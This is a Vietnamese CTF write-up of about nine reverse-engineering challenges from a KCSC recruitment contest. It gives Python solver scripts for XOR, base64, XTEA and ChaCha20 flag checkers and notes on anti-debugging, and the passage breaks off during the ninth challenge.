## I. Introduction
- Kết thúc bài thi ngày 18/1, mình khá vui khi đã cố gắng để hoàn thành nó một cách trọn vẹn nhất, tuy còn một bài trong tầm tay nhưng mình không làm được nữa vì đuối quá, hơi tiếc một chút :crying_cat_face:
- Dưới đây sẽ là bài wu của mình cho 10 challenges của RE và được sắp xếp theo thứ tự dễ đến khó.
## II. Writeup
### 1. Hidden (Warmup)

- Ngay khi chạy chall là một fake flag, và khi đưa vào ida, `Shift F12` tìm lại chuỗi kia, có thể thấy có một hint về hàm `printflag`:

- Lần theo các hàm sẽ tìm thấy:

- Chúng ta chỉ cần debug động và setIP vào hàm này là lụm được flag của bài:


> ~~`KCSC{you_can't_see_me:v}`~~
#### Note
- Bên cạnh cách debug động cũng có thể viết script để in ra flag:
```python=
arr = ['FDE7F1F3CBDBCBC3', 'FBD7FCAFE6E9EBD7', 'F5FEB2EDE5D7EDED']
flag = ""
for i in arr:
i = "".join(list(map(chr, [int(i[_:_+2], 16) ^ 0x88 for _ in range(0, len(i), 2)])))[::-1]
flag += i
#:penguin:
print(flag)
```
### 2. easyre (Easy)
- Bài là một flag checker

- Khi đưa vào ida, mọi thứ gần như khá rõ ràng, chỉ có một đoạn code lằng nhằng để obfuscate
```c
__int64 __fastcall encrypt(__int64 a1, _BYTE *a2)
{
memset(v22, 0, sizeof(v22));
v4 = 0;
result = -1i64;
do
++result;
while ( *(a1 + result) );
v6 = result;
if ( result > 0 )
{
v7 = 0i64;
v8 = &v22[1];
v4 = 8 * result;
do
{
v9 = *(a1 + v7);
v8 += 8;
++v7;
*(v8 - 9) = (v9 >> 7) & 1;
*(v8 - 8) = (v9 >> 6) & 1;
*(v8 - 7) = (v9 >> 5) & 1;
*(v8 - 6) = (v9 >> 4) & 1;
*(v8 - 5) = (v9 >> 3) & 1;
*(v8 - 4) = (v9 >> 2) & 1;
result = (v9 >> 1) & 1;
*(v8 - 2) = v9 & 1;
*(v8 - 3) = result;
}
while ( v7 < v6 );
}
if ( v4 > 0 )
{
v10 = 0i64;
v11 = a2;
v12 = 2;
v13 = (v4 - 1i64) / 6ui64 + 1;
do
{
if ( v12 - 2 >= v4 )
v14 = 0;
else
v14 = v22[v10];
v15 = 2 * v14;
if ( v12 - 1 < v4 )
v15 |= v22[v10 + 1];
v16 = &v22[v10];
v17 = 2 * v15;
if ( v12 < v4 )
v17 |= v16[2];
v18 = 2 * v17;
if ( v12 + 1 < v4 )
v18 |= v16[3];
v19 = 2 * v18;
if ( v12 + 2 < v4 )
v19 |= v16[4];
v20 = 2 * v19;
if ( v12 + 3 < v4 )
v20 |= v16[5];
v12 += 6;
v10 += 6i64;
*v11++ = aAbcdefghijklmn[v20];
}
while ( v10 < v4 );
result = v13 & 0x80000003;
if ( v13 < 0 )
result = (((v13 & 3) - 1) | 0xFFFFFFFC) + 1;
if ( result )
{
v21 = &a2[v13];
do
{
++v13;
*v21++ = 61;
result = v13 & 0x80000003;
if ( v13 < 0 )
result = (((v13 & 3) - 1) | 0xFFFFFFFC) + 1;
}
while ( result );
}
}
return result;
}
```
- Bằng một số quan sát `input` và `output` khi debug hàm, mình mạnh dạn khẳng định đây chính là hàm `b64encode`, có thể kiểm chứng với `input = "KCSC{Dua_flag_day_cho_em_huhuhu}"` (nhớ là `input` phải dài 32 bytes):



- Xuống dưới một chút, chúng ta có thể thấy chương trình cũng khởi tạo một mảng cố định (mà mình gọi là `const_arr`), và mảng này được `xor` với `output base64`. Cuối cùng, đem mảng `const_arr` đi check với mảng kết quả và in ra đúng hoặc sai:

- Trích lấy data và giải mã, ta dễ dàng có flag:
```python=
from base64 import b64decode
flag_check = [0xC1, 0x91, 0x69, 0xB4, 0x66, 0xF9, 0x04, 0x12, 0xB2, 0xD3,
0x7D, 0x6B, 0x0F, 0xB9, 0x7F, 0xF5, 0xD2, 0x1C, 0xBF, 0x32,
0x0B, 0x32, 0x34, 0x9C, 0x98, 0xA4, 0x14, 0x37, 0x86, 0xC9,
0xAF, 0xE2, 0x9C, 0x46, 0x2B, 0xEC, 0x9F, 0x63, 0x38, 0x23,
0x54, 0x78, 0xCD, 0xF2, 0x00, 0x00, 0x00, 0x00]
const_arr = [0x92, 0xA1, 0x27, 0xE0, 0x37, 0xCA, 0x70, 0x7E, 0xE6, 0xBE,
0x33, 0x1D, 0x5D, 0xFE, 0x29, 0x93, 0xB6, 0x66, 0xF9, 0x02,
0x6A, 0x74, 0x0D, 0xDF, 0xD6, 0xEC, 0x5A, 0x71, 0xC8, 0xA3,
0xFD, 0x84, 0xC5, 0x13, 0x1E, 0x87, 0xC7, 0x52, 0x50, 0x55,
0x01, 0x16, 0xFD, 0xCF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
b = ""
for i in range(len(flag_check)):
b += chr(flag_check[i] ^ const_arr[i])
print(b64decode(b.encode()).decode())
```
> ~~`KCSC{eNcoDe_w1th_B4sE64_aNd_XoR}`~~
### 3. Spy Room (Easy)
- Đây là bài C# duy nhất trong giải, cũng rất may khi bài không troll như giải trước. Chạy chall ta có:

- Mình sẽ dùng `dnSpy32` để giải bài này. Đây là chương trình chính:


- Từ đây có thể tóm tắt diễn biến chính như sau: chương trình cho phép chúng ta nhập vào một chuỗi, sau đó nó tính toán độ dài của chuỗi và chia chuỗi ra thành 4 phần cùng cỡ trước khi `xor` các phần lại với nhau và đem check với `flag_check`. Chúng ta dễ dàng extract được data và viết hàm giải mã:
```python=
from pwn import xor
source = [85,122,105,71,17,94,71,24,114,78,107,11,108,106,107,113,121,51,91,117,86,110,100,18,124,104,71,66,123,3,111,99,74,107,69,77,111,2,120,125,83,99,62,99,109,76,119,111,59,32,1,93,69,117,84,106,73,85,112,66,114,92,61,80,80,104,111,72,98,28,88,94,27,120,15,76,15,67,86,117,81,108,18,37,34,101,104,109,23,30,62,78,88,10,2,63,43,72,102,38,76,23,34,62,21,97,1,97]
num = len(source)
text = "https://www.youtube.com/watch?v=L8XbI9aJOXk"
text = list(map(ord, text))
arr6 = xor(source, text)
arr2 = arr6[:num//4] # Chunk 1
arr3 = arr6[num//4:num//2] # Chunk 2
arr4 = arr6[num//2:3*num//4] # Chunk 3
arr5 = arr6[3*num//4:] # Chunk 4
arr5 = xor(arr5, arr2)
arr4 = xor(arr4, arr5)
arr3 = xor(arr3, arr4)
arr2 = xor(arr2, arr3)
arr = arr2 + arr3 + arr4 + arr5
arr = ''.join(map(chr, arr))
print(arr)
```
- Về cơ bản, chall cũng khá giống đợt `TTV23`, chỉ khác thay vì chia 3 chunks với python như trước thì giờ là 4 chunks với C#. Chuỗi nhận được là một đoạn base64 `VXpCT1ZGRXpkRVpaV0U0MVdEQldkVmt6U2pWalNGSndZakkxWmxZeWJEQmhSamxGWWpOU1QxSldVbVpWU0VwMldqTkthR0pVYjNwbVVUMDk=`, đưa lên cyberchef decode 3 lần sẽ được flag.
> ~~`KCSC{Easy_Encryption_With_DotNET_Program:3}`~~
### 4. EzRev (Easy)
- Bài cũng là một flag checker:

- Load vào ida, đây là chương trình chính của chúng ta (mình đã đổi tên theo chức năng từng hàm):

- Có thể tóm tắt diễn biến như sau: chương trình nhận `input` của chúng ta và thực hiện kiểm tra bằng hàm `check(input)` kia trước khi đem đi mã hóa và kiểm tra. Đây là hai hàm `check` và `encrypt`:


- Thực tế thì mình đã không reverse hàm `check` vì mình thấy hàm không quan trọng cũng như giá trị nó trả ra có khả năng bằng 0 rất thấp, vì vậy mình chỉ trình bày hàm `encrypt`.
- Hàm `encrypt` lấy ra từng kí tự của `input`, đem dịch trái `4, 8, 16, 32, 64`, dịch phải `6, 12, 24, 48, 96` bits, và lần lượt `xor` các kí tự đó tại mỗi vòng. Chuỗi sau khi mã hóa sẽ được check với `flag_check`
- Cơ bản hàm khá khó (với mình) để reverse lại, nên mình đã brute các kí tự khả thi nhất bằng code sau:
```python=
from string import printable
rol = lambda val, r_bits, max_bits: \
(val << r_bits%max_bits) & (2**max_bits-1) | \
((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))
ror = lambda val, r_bits, max_bits: \
((val & (2**max_bits-1)) >> r_bits%max_bits) | \
(val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))
max_bits = 32
arr = [0x30, 0x03, 0x0C, 0xF3, 0x9D, 0xDE, 0x0D, 0x34, 0xC9, 0x9A,
0x0D, 0x75, 0x2A, 0xBC, 0x1F, 0x39, 0x5B, 0xAF, 0x16, 0x9F,
0x61, 0x06, 0x18, 0xE6, 0x6B, 0xAC, 0x1A, 0x6C, 0x9D, 0xDE,
0x0D, 0x34, 0x35, 0x56, 0x0D, 0xB6, 0x5B, 0xAF, 0x16, 0x9F,
0x64, 0x53, 0x19, 0xA3, 0x3A, 0xBD, 0x1B, 0x68, 0x30, 0x03,
0x0C, 0xF3, 0x64, 0x53, 0x19, 0xA3, 0xC6, 0x71, 0x1B, 0xAB,
0x30, 0x03, 0x0C, 0xF3, 0x74, 0x52, 0x1D, 0xF2, 0x5B, 0xAF,
0x16, 0x9F, 0x61, 0x06, 0x18, 0xE6, 0xCC, 0xCF, 0x0C, 0x30,
0x74, 0x52, 0x1D, 0xF2, 0x5B, 0xAF, 0x16, 0x9F, 0xC6, 0x71,
0x1B, 0xAB, 0x64, 0x53, 0x19, 0xA3, 0xC9, 0x9A, 0x0D, 0x75,
0x64, 0x53, 0x19, 0xA3, 0x5B, 0xAF, 0x16, 0x9F, 0x74, 0x52,
0x1D, 0xF2, 0x30, 0x03, 0x0C, 0xF3, 0x64, 0x53, 0x19, 0xA3,
0x74, 0x52, 0x1D, 0xF2, 0xD9, 0x8F, 0x1C, 0x35, 0x98, 0x8B,
0x0C, 0x71, 0x61, 0x12, 0x0D, 0xF7, 0x3F, 0xE8, 0x1A, 0x2D,
0x30, 0x03, 0x0C, 0xF3, 0xC3, 0x24, 0x1A, 0xEE, 0x61, 0x12,
0x0D, 0xF7, 0xDC, 0xCE, 0x08, 0x61, 0xDC, 0xCE, 0x08, 0x61]
flag_check = []
for i in range(0, len(arr), 4):
c = arr[i+3] << 24 | arr[i+2] << 16 | arr[i+1] << 8 | arr[i]
flag_check.append(c)
for index in range(0, len(flag_check)):
for k in printable:
c = ord(k)
v4 = 4
v5 = 6
for j in range(5):
c ^= rol(c, v4, max_bits) ^ ror(c, v5, max_bits)
v4 *= 2
v5 *= 2
if c == flag_check[index]:
print(k, end='')
```
- Tất nhiên với việc dịch trái và dịch phải kia thì các kí tự sẽ được ánh xạ với một và chỉ một kí tự mã hóa, vậy nên chúng ta sẽ thu được một flag duy nhất:

> ~~`KCSC{345y_fl46_ch3ck3r_f0r_kc5c_r3cru17m3n7!!}`~~
### 5. Waiterfall (Easy but...)
- Chương trình khi chạy sẽ như sau:

- Load vào ida và tìm chuỗi `Show your skill :))`, mình thấy nó nằm ở ngay hàm `main` nên cũng không quá lo lắng nhiều, vì cái cần lo đang nằm bên dưới. Đó là một núi ||hoặc thác|| điều kiện. Mỗi kí tự của `input` tại vị trí nhất định phải thỏa mãn điều kiện của vị trí đó. Tại đây, một công cụ đắc lực mình đã sử dụng là Claude AI.
- Đầu tiên chúng ta sẽ extract các `direct_char` là các kí tự tường minh nằm tại vị trí đó:
```python=
flag = ['_'] * 62
# v4 là index nên đối chiếu theo code, ta có
flag[0] = 'K'
flag[1] = 'C'
flag[2] = 'S'
flag[3] = 'C'
flag[4] = '{'
flag[11] = 'g'
flag[20] = 'd'
flag[24] = 'u'
flag[37] = 'c'
flag[60] = 'g'
flag[61] = '}'
```
- Tiếp đó là các `_bittest64(a1, a2)`, đây là hàm trích lấy giá trị của bit tại địa chỉ `a1`, vị trí `a2`, điển hình là:

- Để xử lí cũng rất đơn giản, ta sử dụng tư duy của hàm `_bittest` thui:
```python=
v5 = 0x1000008020020 # 'w' positions
v7 = 0x60010020000100 # 't' positions
v8 = 0x100020080408000 # 'r' positions
v9 = 0x844000044000 # 'o' positions
v14 = 0xA00008000080400 # 'n' positions
v15 = 0x8480C02000000 # 'l' positions
v16 = 0x400000000000280 # 'i' positions
v17 = 0x4200100802000 # 'f' positions
v18 = 0x80000040200000 # 'e' positions
v19 = 0x10000210000040 # 'a' positions
v20 = 0x2101004011000 # '_' positions
for i in range(62):
if (v5 & (1 << i)) != 0 and i <= 0x30:
flag[i] = 'w'
if (v7 & (1 << i)) != 0 and i <= 0x36:
flag[i] = 't'
if (v8 & (1 << i)) != 0 and i <= 0x38:
flag[i] = 'r'
if (v9 & (1 << i)) != 0 and i <= 0x2F:
flag[i] = 'o'
if (v14 & (1 << i)) != 0 and i <= 0x3B:
flag[i] = 'n'
if (v15 & (1 << i)) != 0 and i <= 0x33:
flag[i] = 'l'
if (v16 & (1 << i)) != 0 and i <= 0x3A:
flag[i] = 'i'
if (v17 & (1 << i)) != 0 and i <= 0x32:
flag[i] = 'f'
if (v18 & (1 << i)) != 0 and i <= 0x37:
flag[i] = 'e'
if (v19 & (1 << i)) != 0 and i <= 0x34:
flag[i] = 'a'
if (v20 & (1 << i)) != 0 and i <= 0x31:
flag[i] = '_'
```
- Cuối cùng, ta ghép toàn bộ 2 phase decrypt trên và có được code giải thực sự:
```python=
def check_position_requirements():
flag = ['_'] * 62
flag[0] = 'K'
flag[1] = 'C'
flag[2] = 'S'
flag[3] = 'C'
flag[4] = '{'
flag[20] = 'd'
flag[24] = 'u'
flag[37] = 'c'
flag[60] = 'g'
flag[61] = '}'
flag[11] = 'g'
v5 = 0x1000008020020 # 'w' positions
v7 = 0x60010020000100 # 't' positions
v8 = 0x100020080408000 # 'r' positions
v9 = 0x844000044000 # 'o' positions
v14 = 0xA00008000080400 # 'n' positions
v15 = 0x8480C02000000 # 'l' positions
v16 = 0x400000000000280 # 'i' positions
v17 = 0x4200100802000 # 'f' positions
v18 = 0x80000040200000 # 'e' positions
v19 = 0x10000210000040 # 'a' positions
v20 = 0x2101004011000 # '_' positions
for i in range(62):
if (v5 & (1 << i)) != 0 and i <= 0x30:
flag[i] = 'w'
if (v7 & (1 << i)) != 0 and i <= 0x36:
flag[i] = 't'
if (v8 & (1 << i)) != 0 and i <= 0x38:
flag[i] = 'r'
if (v9 & (1 << i)) != 0 and i <= 0x2F:
flag[i] = 'o'
if (v14 & (1 << i)) != 0 and i <= 0x3B:
flag[i] = 'n'
if (v15 & (1 << i)) != 0 and i <= 0x33:
flag[i] = 'l'
if (v16 & (1 << i)) != 0 and i <= 0x3A:
flag[i] = 'i'
if (v17 & (1 << i)) != 0 and i <= 0x32:
flag[i] = 'f'
if (v18 & (1 << i)) != 0 and i <= 0x37:
flag[i] = 'e'
if (v19 & (1 << i)) != 0 and i <= 0x34:
flag[i] = 'a'
if (v20 & (1 << i)) != 0 and i <= 0x31:
flag[i] = '_'
return ''.join(flag)
# Generate and print the flag
flag = check_position_requirements()
print(f"Generated flag: {flag}")
```

- Kết quả là:

>~~`KCSC{waiting_for_wonderful_waterfall_control_flow_flatterning}`~~
### 6. ChaChaCha (Medium)
- Đây là một challenge khá thú vị của anh noobmannn, không quá khó nhưng cũng cần một số kiến thức nhất định về dumping và thuật toán chính trong bài, như tên đã đề cập, là ChaCha20.
- Đề cấp cho chúng ta 3 file, lần lượt là file dump, file exe và note. Dự đoán của mình là chương trình sẽ mã hóa note thành một thứ gì đó khác, nên mình đã backup nó lại phòng trường hợp cần thiết.
- Load chương trình vào ida, mình biết được một số thông tin khá quan trọng: chương trình sẽ mở file note của chúng ta, thực hiện đọc data từ file đó, expand khóa 32 byte, khởi tạo nonce và mã hóa bằng ChaCha20:

- Là một khóa dòng (stream cipher), ChaCha20 sẽ được giải mã thành công nếu biết initial state của nó, initial state là một ma trận 4x4 phần tử 32 bits. Trong đó, `key 256 bits`, `nonce 96 bits` và `counter 32 bits`:

- Vậy làm thế nào để tìm lại initial state này? Mình sẽ đi sâu hơn vào phase1 mà mình đặt tên ở trên.
- Trước hết, chương trình có gọi tới `advapi32.dll` và sử dụng `SystemFunction036`, đây là thư viện giúp sinh số ngẫu nhiên:

- Mình cũng đã đổi tên các biến để dễ quan sát. Đây cũng là những tham số sẽ được truyền vào phase1, thực chất phase1 là phase giúp tạo ra initial state. Nhưng key và nonce được sinh ra ngẫu nhiên từ `SystemFunction036` nên mình không thể tìm lại được thủ công.
- Khi đó, file dump kia sẽ giúp chúng ta. Được biết, initial state sẽ có magic word chính là `expand 32-byte k`, vậy trong file dump, chỉ cần tìm chuỗi này là chúng ta hoàn toàn có được state của bài. Mình sử dụng `HxD` để đọc file dump:

and here we are:

- Một điều quan trọng là initial state có 512 bits tương ứng với 64 bytes (40h), từ đó extract data:

- Có được:

- State của chúng ta:
```python=
key = "d9fabb420c2db808d1f8bfa5890ac3b3849f69e2f330d4a90db119bd4ea0b830"
counter = "1129530187"
nonce = "db7be693ee9bc1a47073ca4b"
```
- Mang tất cả lên cyberchef, decode file như [này](https://cyberchef.org/#recipe=ChaCha(%7B'option':'Hex','string':'d9fabb420c2db808d1f8bfa5890ac3b3849f69e2f330d4a90db119bd4ea0b830'%7D,%7B'option':'Hex','string':'db7be693ee9bc1a47073ca4b'%7D,1129530187,'20','Raw','Hex')From_Hex('Auto')), ta được một file exe khác (do có header MZ):
```c=
int __cdecl main(int argc, const char **argv, const char **envp)
{
HANDLE FileW; // r14
HRSRC ResourceW; // rax
HRSRC v5; // rbx
HGLOBAL Resource; // rdi
unsigned int v7; // ebx
const void *v8; // rsi
char *v9; // rax
char *v10; // rdi
__int64 v11; // rdx
__m128 si128; // xmm2
unsigned int v13; // r8d
__int64 v14; // rax
char *v15; // rax
__int64 v16; // rdx
DWORD NumberOfBytesWritten; // [rsp+40h] [rbp-448h] BYREF
WCHAR FileName[264]; // [rsp+50h] [rbp-438h] BYREF
WCHAR Buffer[264]; // [rsp+260h] [rbp-228h] BYREF
if ( GetTempPathW(0x104u, Buffer) - 1 <= 0x103 )
{
wsprintfW(FileName, L"%s%s", Buffer, L"REAL_FLAG_IN_HERE");
FileW = CreateFileW(FileName, 0x40000000u, 0, 0i64, 2u, 0x80u, 0i64);
if ( FileW != (HANDLE)-1i64 )
{
NumberOfBytesWritten = 0;
ResourceW = FindResourceW(0i64, (LPCWSTR)0x65, L"FLAG");
v5 = ResourceW;
if ( ResourceW )
{
Resource = LoadResource(0i64, ResourceW);
if ( Resource )
{
v7 = SizeofResource(0i64, v5);
if ( v7 )
{
v8 = LockResource(Resource);
if ( v8 )
{
v9 = (char *)malloc(v7);
v10 = v9;
if ( v9 )
{
memcpy(v9, v8, v7);
v11 = 0i64;
if ( v7 < 0x40 )
goto LABEL_13;
si128 = (__m128)_mm_load_si128((const __m128i *)&xmmword_7FF767963330);
v13 = 32;
do
{
*(__m128 *)&v10[v11] = _mm_xor_ps(si128, (__m128)_mm_loadu_si128((const __m128i *)&v10[v11]));
v11 = (unsigned int)(v11 + 64);
*(__m128 *)&v10[v13 - 16] = _mm_xor_ps(
(__m128)_mm_loadu_si128((const __m128i *)&v10[v13 - 16]),
si128);
*(__m128 *)&v10[v13] = _mm_xor_ps(si128, (__m128)_mm_loadu_si128((const __m128i *)&v10[v13]));
v14 = v13 + 16;
v13 += 64;
*(__m128 *)&v10[v14] = _mm_xor_ps((__m128)_mm_loadu_si128((const __m128i *)&v10[v14]), si128);
}
while ( (unsigned int)v11 < (v7 & 0xFFFFFFC0) );
if ( (unsigned int)v11 < v7 )
{
LABEL_13:
v15 = &v10[(unsigned int)v11];
v16 = v7 - (unsigned int)v11;
do
{
*v15++ ^= 0x88u;
--v16;
}
while ( v16 );
}
WriteFile(FileW, v10, v7, &NumberOfBytesWritten, 0i64);
free(v10);
sub_7FF767961010((wchar_t *)L"Here is your Flag: %s\n");
CloseHandle(FileW);
}
}
}
}
}
}
}
return 0;
}
```
- Tóm lại, khi chạy file, flag sẽ được sinh ra trong đường dẫn trong bài, với máy mình thì file nằm ở đây:

- Chạy theo:

- Examine file với die:

Đã biết đây là file ảnh, và khi đổi type thành jpg thì ảnh hiện ra:

- Ngon hehe :100: :fire:
> ~~`KCSC{chachacha_w1th_me_and_welc0me_2_KCSC}`~~
### 7. Reverse me (Medium)
- Một bài ELF hiếm hoi có trong đợt TTV lần này. Cá nhân mình thích làm việc với file ELF hơn, vì dùng Windows không run file được nên không lo ma oe :smiley_cat:.
- Load vào ida, tìm `main`:

- Mình sẽ nói qua chút về luồng: chương trình nhận `input` vào với 48 kí tự, sau đó đem đi mã hóa theo chunk 8 kí tự rồi check với mảng `check`. Nghe đến đây, mình lờ mờ thấy được mã hóa khối, vì 48 kí tự giúp ta chia được 6 chunk, mỗi chunk 8 bytes.
- Hàm `encrypt` khá đơn giản:

- Ở đây`a1, a2` lần lượt là các chunks 8 bytes của chúng ta, bên cạnh đó cũng cần lưu ý với mảng `dword_5595FA5DC0C0`. Lí do là khi xref, mình thấy được author đã thực hiện antidebug bằng `ptrace`, chi tiết về phương pháp này có thể đọc ở [đây](https://www.aldeid.com/wiki/Ptrace-anti-debugging).

- Mình có thể dễ dàng osint thằng `dword_5595FA5DC0A0 = 0x9E3779B9` và nhận thấy đây chính là `XTEA`, đọc thêm ở [đây](https://en.wikipedia.org/wiki/XTEA) nhé.
- Sau khi mô phỏng lại thuật toán và kiểm tra mọi thứ, mình có script (tuy nhiên cần phải lưu ý các phép toán thực hiện đều phải `& 0xFFFFFFFF` vì đây là các số `int`, cũng có thể thay bằng `% 2**32`)
```python=
from pwn import xor
from Crypto.Util.number import long_to_bytes
def convert(arr):
temp = []
for i in range(0, len(arr), 4):
temp.append(int.from_bytes(arr[i:i+4], 'little'))
return temp
def decrypt(data1: int, data2: int, num_rounds: int, delta: int, key: list) -> tuple[int, int]:
"""
Decrypt two 32-bit integers using XTEA algorithm.
Args:
data1: First 32-bit block
data2: Second 32-bit block
num_rounds: Number of rounds used in encryption
delta: Delta value (typically 0x9E3779B9)
key: List of 4 32-bit integers used as encryption key
Returns:
Tuple of two decrypted 32-bit integers
"""
v3 = data1 & 0xFFFFFFFF # Ensure 32-bit values
v4 = data2 & 0xFFFFFFFF
# Calculate final sum value
v5 = (delta * num_rounds) & 0xFFFFFFFF
# Decryption loop
for _ in range(num_rounds):
# Reverse second block update
temp = (((v3 >> 5) ^ (16 * v3)) + v3) & 0xFFFFFFFF
v4 = (v4 - (temp ^ (key[(v5 >> 11) & 3] + v5))) & 0xFFFFFFFF
# Update sum
v5 = (v5 - delta) & 0xFFFFFFFF
# Reverse first block update
temp = (((v4 >> 5) ^ (16 * v4)) + v4) & 0xFFFFFFFF
v3 = (v3 - (temp ^ (key[v5 & 3] + v5))) & 0xFFFFFFFF
return v3, v4
check = [0xEC, 0xB6, 0x37, 0x1C, 0x76, 0x66, 0xE3, 0xB0, 0x6F, 0xC1, 0x37, 0x41, 0x6D, 0x46, 0x4D, 0x45, 0x3B, 0xFE, 0x0A, 0x7A, 0x39, 0x5B, 0x5B, 0x23, 0x96, 0x71, 0x31, 0xCA, 0x36, 0xC0, 0xB9, 0x7D, 0x1C, 0x88, 0xC3, 0xBA, 0xA4, 0x25, 0x99, 0x08, 0xA9, 0x59, 0x2A, 0xFE, 0x26, 0x18, 0xE6, 0x94]
#anti-debug arr
anti_arr = [0x78, 0x72, 0xB2, 0x3A, 0x5B, 0x80, 0x40, 0xA8, 0x5B, 0x92, 0x64, 0xE8, 0xDE, 0xEE, 0xB1, 0xB7]
#real arr
real_arr = [0x5B, 0x57, 0x26, 0x01, 0x31, 0x32, 0x90, 0x51, 0x5E, 0x8F, 0xAB, 0x8A, 0x0F, 0x93, 0x51, 0xCA]
#xorxor is taken from ptrace phase
xorxor = [0x23, 0x25, 0x94, 0x3B, 0x6A, 0xB2, 0xD0, 0xF9, 0x05, 0x1D, 0xCF, 0x62, 0xD1, 0x7D, 0xE0, 0x7D]
check = convert(check)
anti_arr = convert(xor(anti_arr, xorxor))
real_arr = convert(xor(real_arr, xorxor))
NUM_ROUNDS = 32 # Typical value for XTEA
DELTA = 0x9E3779B9 # Standard XTEA delta
flag = b""
KEY = real_arr
for i in range(0, len(check), 2):
encrypted_block1 = check[i]
encrypted_block2 = check[i+1]
decrypted_block1, decrypted_block2 = decrypt(
encrypted_block1,
encrypted_block2,
NUM_ROUNDS,
DELTA,
KEY
)
flag += long_to_bytes(decrypted_block1)[::-1] +long_to_bytes(decrypted_block2)[::-1]
print(flag)
```
> ~~`KCSC{XTEA_encryption_and_debugger_detection_:>>}`~~
### 8. OptimusPrize (Medium)
- Bài khá vui, với idea được tham khảo từ bài [này](https://github.com/justcatthefish/justctf-2022/tree/main/challenges/re_im-slow) và [này](https://ctflearn.com/challenge/1214).
- Nói sơ qua một chút, chương trình sẽ giúp chúng ta in từng kí tự flag ra, tuy nhiên, các thuật toán sử dụng trong chương trình không tối ưu, dẫn tới độ phức tạp thuật toán rất cao. Để khắc phục, chúng ta có thể patch các hàm không tối ưu bằng hàm tối ưu hơn, hoặc có thể viết lại chương trình bằng python vì python tối ưu hơn C ở vài thứ.
- Load vào ida, ta có:

- Sau một hồi debug phân tích, mình đổi tên:

- Hai hàm chính khiến cho chương trình của chúng ta bị lâu chính là hàm `sort` và hàm sinh số `get_byte` (sau này mình mới nhận ra nó là `fibonacci`):


- Ai học lập trình cũng biết, đệ quy khiến chương trình chạy rất lâu, vì vậy mình cần tối ưu nó, nhưng phải hiểu trước đã.
- Mảng `arr` của chúng ta được khởi tạo với khoảng 10k phần tử, `const_arr` là các mảng với các số cố định, khi gọi hàm `sort(&arr, 0, const_arr[i])`, chương trình sẽ thực hiện sort `const_arr[i]` phần tử đầu tiên của mảng `arr`. Ví dụ, `const_arr[0] = 100`, vậy vòng lặp `printf` đầu tiên sẽ sort `arr[:100]`, dễ hiểu đúng chứ.
- Tiếp đó là hàm `map`:

- Đây đơn giản chỉ là hàm lấy kí tự tại phần tử thứ `a2` của mảng `a1`, hay `a1[a2]`, dưới đó là các hàm ép kiểu, không quá quan trọng. Cuối cùng, chúng ta có được code giải:
```python=
def get_bytes(n):
if n <= 1:
return n
a, b = 0, 1
for _ in range(2, n + 1):
a, b = b, a + b
return b
byte_7FF6662A20C0 = [0x7B, 0x1E, 0xFB, 0x79, 0xAA, 0x24, 0xBC, 0xC9, 0x8B, 0x0E, 0x31, 0x49, 0xD3, 0x91, 0xCE, 0x24, 0x40, 0xA7, 0x9B, 0xFB, 0x6A, 0x0F, 0x9D, 0xC5, 0x15, 0x36, 0x73, 0x6F, 0x04, 0x0D, 0xC3, 0x24, 0x78, 0xA1, 0xA3, 0xB6, 0x75, 0xDC, 0xF3, 0xB5, 0xF7, 0x7E, 0xA4, 0xE5, 0x3C, 0x43, 0x22, 0xF9, 0x05, 0xB0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
const_arr = [100, 150, 200, 306, 802, 1090, 12088, 14086, 16084, 18082, 20080, 22078, 24076, 26074, 28072, 30070, 32068, 34066, 36064, 38062, 40060, 42058, 44056, 46054, 48052, 50050, 52048, 54046, 56044, 58042, 60040, 62038, 64036, 66034, 68032, 70030, 72028, 74026, 76024, 78022, 80020, 82018, 84016, 86014, 88012, 90010, 92008, 94006, 96004, 98002]
f = open("data.txt", "r").readlines()
a1 = []
for i in range(len(f)):
if "mov" in f[i]:
line = f[i].strip().split(", ")[-1][:-1]
a1.append(int(line, 16))
for i in range(50):
ca = const_arr[i]
temp = sorted(a1[:(ca + 1)])
v = temp[ca >> 1]
v7 = v & 0xFF
v8 = ((v >> 8) & 0xFF) ^ v7
v9 = ((v >> 16) & 0xFF) ^ v8
v10 = ((v >> 24) & 0xFF) ^ v9
v11 = get_bytes(2 * i)
v11_1 = v11 & 0xFF
v11_2 = (v11 >> 8) & 0xFF
v11_3 = (v11 >> 16) & 0xFF
v11_4 = (v11 >> 24) & 0xFF
c = byte_7FF6662A20C0[i] ^ v11_1 ^ v11_2 ^ v11_3 ^ v11_4 ^ v10
print(chr(c), end="")
```
- Với file `data.txt` là dữ liệu của `arr`. Nếu xref theo `arr`, ta sẽ tới được:

- Tổng cộng có 10k phần tử của `arr`, không thể `Shift + E` nên mình copy hết vào một file text rồi trích lấy mảng sau, về phần này các bạn tự lực cánh sinh nha. Hãy `Alt + L` và tính toán địa chỉ kết thúc của mảng, `G` tới địa chỉ đó và copy :fire:
> ~~`KCSC{just_a_sort_of_O-OoOptim...ize_references}:))`~~
### 9. Cat Laughing At You (Hard)
- Đây là một bài mình rất tiếc khi tưởng chừng chỉ giải trong thời gian 2h nhưng lại rối rồi choke rất lâu đến nỗi trước khi end giải vẫn chưa solve. Về cơ bản, đây là một bài troller, nhưng ở đó vẫn có những kiến thức hay và đáng học hỏi.
- Đề cho chúng ta nhập flag, đúng thì tốt nhưng sai thì bị trôn bằng cách mở link [Cat Laughing At You](https://www.youtube.com/watch?v=L8XbI9aJOXk) và bật max volume. Trải nghiệm này mọi người tự thử nhé, mình ám ảnh rồi.
- Load vào ida, đây là hàm `main` của chúng ta:

- Mình thấy chall khá giống với bài [này](https://github.com/TungDvan/KCSC_Training_Reverse/tree/master/TASK4#mixture). Tuy nhiên, chall của TTV dễ hơn hẳn vì không đả động gì đến pipe nên mọi thứ diễn ra "khá" tường minh.
- Trước hết, hàm `main` của chúng ta thực sự không có gì cả, đặc biệt instruction `hlt` kia cũng khiến chúng ta không thể debug được. Mình được các anh gợi ý về `initterm` và `Exception Handling` và đây là hai hint rất quan trọng. `initterm` là một hàm được gọi trước hàm `main`, để kiếm nó ta có thể xref `main`:

- Ta chỉ cần quan tâm tới biến được truyền vào `initterm` thôi. Tại đây mình thấy được 4 hàm như sau:

